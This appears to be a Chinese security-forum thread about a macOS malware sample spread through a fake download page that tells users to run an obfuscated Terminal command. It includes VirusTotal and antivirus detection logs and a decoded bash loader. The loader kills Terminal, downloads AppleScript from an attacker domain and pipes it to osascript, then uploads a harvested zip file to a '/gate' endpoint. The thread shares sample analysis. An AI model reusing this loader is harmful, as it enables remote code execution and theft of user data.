MacOS:Agent-BBL [Drp]

likexcm

这是一个伪装成下载页面，引导用户前往终端执行命令的文件
终端命令会用bash加密，防止用户知道其执行了什么
VT初扫：3
https://www.virustotal.com/gui/f ... 4fc2beda5222aa613ef

恶意来源:0x9x.com/q4/

心醉咖啡

360下载保护安全

papawenbo

360扫描报

微微的笑

2025-11-14 9:29:08;文件系统实时防护;文件;D:\样本\0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f.daily;OSX/PSW.Agent.FP 特洛伊木马;已通过删除清除;XZBL\Administrator;在通过应用程序创建的新文件上发生了事件: D:\Bandizip\Bandizip.exe (4B2550439762368841A2C9F9FB9EA7342A103187).;E7669F4384295746C1CC5926E28420BF108D51F7;2025-11-14 9:29:07;S-1-5-21-33392714-482813192-2384129534-500;

nulluser1234

解出来的东西

1. #!/bin/bash
   
2. daemon_function() {
   
3.     exec </dev/null
   
4.     exec >/dev/null
   
5.     exec 2>/dev/null
   
6.     killall Terminal
   
7.     local domain="share2e32git.sbs"
   
8.     local token="0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
   
9.     local api_key="5190ef1733183a0dc63fb623357f56d6"
   
10.     if [ $# -gt 0 ]; then
    
11.         curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "https://$domain/dynamic?txd=$token&pwd=$1" | osascript
    
12.     else
    
13.         curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "https://$domain/dynamic?txd=$token" | osascript
    
14.     fi
    
15.     if [ $? -ne 0 ]; then
    
16.         exit 1
    
17.     fi
    
18.     curl -k -X POST \
    
19.          -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
    
20.          -H "api-key: $api_key" \
    
21.          -H "cl: 0" \
    
22.          --max-time 300 \
    
23.          -F "file=@/tmp/osalogging.zip" \
    
24.          -F "buildtxd=$token" \
    
25.          "https://$domain/gate"
    
26.    
    
27.     if [ $? -ne 0 ]; then
    
28.         exit 1
    
29.     fi
    
30.     rm -f /tmp/osalogging.zip
    
31. }
    
32. if daemon_function "$@" & then
    
33.     exit 0
    
34. else
    
35.     exit 1
    
36. fi
    

复制代码

biue

腾讯电脑管家 1X
Win32.Trojan.Malware.juzi